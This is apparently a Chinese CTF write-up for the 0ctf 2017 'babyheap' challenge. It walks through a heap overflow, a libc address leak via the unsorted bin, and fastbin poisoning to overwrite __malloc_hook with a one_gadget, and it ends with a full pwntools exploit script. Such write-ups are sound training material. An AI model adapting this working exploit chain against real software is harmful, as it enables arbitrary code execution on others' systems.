babyheap_0ctf_2017

文章发布时间:

最后更新时间:

文章总字数:
1.1k

预计阅读时间:
5 分钟

查看一下保护机制

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
stack: Canary found
NX: NX enabled
PIE: PIE enabled

FULL RELRO要注意一下

ida反编译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
menu();
switch ( choice() )
{
case 1LL:
add(v4);
break;
case 2LL:
edit(v4);
break;
case 3LL:
delete(v4);
break;
case 4LL:
print(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

需要留意的是释放堆块的时候 指针也置零了 没有办法uaf

但是edit可以进行堆溢出

题目docker环境为16.04 那么显而易见 有输出函数以及堆溢出的机会

这里用到unsortedbin泄露基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#前置exp:
from pwn import*
context.log_level = "debug"
#io = process("./pwn")
io = remote("node4.buuoj.cn",25931)
elf = ELF("./pwn")
libc = ELF("./libc")

def add(size):
io.recvuntil("Command:")
io.sendline(b"1")
io.recvuntil("Size:")
io.sendline(str(size))
io.recv()

def edit(index,size,payload):
io.recvuntil("Command:")
io.sendline(b"2")
io.recvuntil("Index:")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content:")
io.sendline(payload)

def delete(index):
io.recvuntil("Command:")
io.sendline(b"3")
io.recvuntil("Index:")
io.sendline(str(index))

def show(index):
io.recvuntil("Command:")
io.sendline(b"4")
io.recvuntil("Index:")
io.sendline(str(index))

先申请一个chunk0 用于堆溢出覆盖chunk1的size域 从而使chunk1和chunk2合并

1
2
3
4
5
6
add(0x18)#0
add(0x68)#1
add(0x68)#2
add(0x20)#3 #chunk3的作用则是防止堆块释放后和top chunk合并
payload = cyclic(0x18)+b"\xe1"
edit(0,len(payload),payload)

gdb看一下此时堆块结构

zkcynA.png

可以看到已经成功合并了chunk1和chunk2

此时我们free掉chunk1

该合并堆块就会进入到unsortedbin

此时其fd和bk就指向了main_arena+88

我们如果再申请一个0x68大小的chunk

此时bin将会把前半部分的堆块分配出来

于是fd和bk的内容我们就可以通过print新申请的堆块打印出来

1
2
3
4
add(0x68)#3&1
show(2)
io.recvuntil("Content:")
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))

还差一点 要如果才能确定偏移 从而计算出libc基址

这里我们进行gdb动调 我们需要求出main_arena+88和libc基址的偏移

zkgCH1.png

则可求得 偏移 = 0x7f35f3b9bb78-0x7f35f37d7000

由于开启了FULL RELRO 我们并没有办法篡改got表

但是此时是ubuntu16.04版本环境 我们想到了使用malloc_hook的攻击方法

1
2
3
libc_addr = addr - (0x7fc2d9938b78-0x7fc2d9574000)
malloc_hook = libc_addr+libc.sym["__malloc_hook"]
system_addr = libc_addr + libc.sym['system']

此时我们再次申请一个大小为0x68的chunk 它会分配到剩下一半的unsortedbin的空间

但是你要注意到 chunk2的指针不是还没被置零吗 chunk2和我们新申请到的chunk指向了同一片空间

这不就可以做到uaf吗 于是我们再次释放chunk2 然后编辑chunk4的内容 覆盖chunk2的fd域 就可以使我们目标地址串连到fastbin上

1
2
3
add(0x68)#4&2
delete(2)
edit(4,len(p64(malloc_hook)),p64(malloc_hook-0x23))

zkgrCT.png

此时我们连续申请两个堆块 第二个堆块就是分配到对应地址的空间

此时我们编辑第二个堆块 覆盖malloc_hook为onegadget地址

这样我们在申请新chunk时系统调用malloc函数时就会调用onegadget

1
2
3
4
5
6
7
add(0x68)#4 
add(0x68)#5
onegadget = 0x4526a+libc_addr #0x45216 0x4526a 0xf02a4 0xf1147
payload = cyclic(0x8+0xb)+p64(onegadget)
edit(5,len(payload),payload)
add(0x30)
io.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
context.log_level = "debug"
io = process("./pwn")
#io = remote("node4.buuoj.cn",25931)
elf = ELF("./pwn")
libc = ELF("./libc")

def add(size):
io.recvuntil("Command:")
io.sendline(b"1")
io.recvuntil("Size:")
io.sendline(str(size))
io.recv()

def edit(index,size,payload):
io.recvuntil("Command:")
io.sendline(b"2")
io.recvuntil("Index:")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content:")
io.sendline(payload)

def delete(index):
io.recvuntil("Command:")
io.sendline(b"3")
io.recvuntil("Index:")
io.sendline(str(index))

def show(index):
io.recvuntil("Command:")
io.sendline(b"4")
io.recvuntil("Index:")
io.sendline(str(index))

add(0x18)#0
add(0x68)#1
add(0x68)#2
add(0x20)#3
payload = cyclic(0x18)+b"\xe1"
edit(0,len(payload),payload)
delete(1)
add(0x68)#3&1
show(2)
io.recvuntil("Content:")
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_addr = addr - (0x7fc2d9938b78-0x7fc2d9574000)
malloc_hook = libc_addr+libc.sym["__malloc_hook"]
system_addr = libc_addr + libc.sym['system']
add(0x68)#4&2
delete(2)
edit(4,len(p64(malloc_hook)),p64(malloc_hook-0x23))
add(0x68)#4
add(0x68)#5
onegadget = 0x4526a+libc_addr #0x45216 0x4526a 0xf02a4 0xf1147
payload = cyclic(0x8+0xb)+p64(onegadget)
edit(5,len(payload),payload)
add(0x30)
io.interactive()